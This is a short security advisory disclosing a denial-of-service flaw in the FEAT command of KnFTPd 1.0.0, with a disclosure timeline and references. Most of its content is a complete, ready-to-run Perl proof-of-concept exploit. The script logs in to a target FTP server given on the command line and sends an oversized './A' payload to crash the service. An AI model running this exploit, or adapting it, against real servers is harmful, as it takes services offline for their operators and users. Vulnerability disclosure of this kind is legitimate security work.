SSCHADV2012-011 - KnFTPd 1.0.0 'FEAT' DoS vulnerability
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Advisory:
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KnFTPd 1.0.0 ‘FEAT’ DoS vulnerability
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| Advisory ID: | SSCHADV2012-011 |
| Author: | Stefan Schurtz |
| Affected Software: | Successfully tested on KnFTPd 1.0.0 |
| Vendor URL: | |
| Vendor Status: |
informed
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EDB-ID:
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18671
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Vulnerability Description
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Vulnerability Description
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The KnFTPd 1.0.0 ‘FEAT’ command is prone to DoS vulnerability
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PoC-Exploit
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PoC-Exploit
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#!/usr/bin/perl
use strict; use Net::FTP; my $user = ""; my $password = ""; ######################## # connect ######################## my $target = $ARGV[0]; my $plength = $ARGV[1]; print "\n"; print "t#######################################################\n"; print "t# This PoC-Exploit is only for educational purpose!!! #\n"; print "t#######################################################\n"; print "\n"; if (!$ARGV[0]||!$ARGV[1]) { print "[+] Usage: $@ <target> <payload length>\n"; exit 1; } my $ftp=Net::FTP->new($target,Timeout=>12) or die "Cannot connect to $target: $@"; print "[+] Connected to $target\n"; ######################## # login ######################## $ftp->login($user,$password) or die "Cannot login ", $ftp->message; print "[+] Logged in with user $user\n"; ################################################### # Building payload ‘./A’ with min. length of 94 ################################################## my \@p = ( "","./A" ); my $payload; print "[+] Building payload\n"; for (my $i=1;$i<=$plength;$i++) { $payload .= $p[$i]; push(@p,$p[$i]); } sleep(3); ######################################### # Sending payload ######################################### print "[+] Sending payload [$payload]\n"; $ftp->quot(‘FEAT ‘ ."$payload"); ########################################## # disconnect ########################################## print "[+] Done\n"; $ftp->quit; exit 0; #EOF |
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Solution
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-
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Disclosure Timeline
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28-Mar-2012 – vendor informed
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Credits
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Vulnerability found and advisory written by Stefan Schurtz.
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References
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http://www.darksecurity.de/advisories/2012/SSCHADV2012-011.txt
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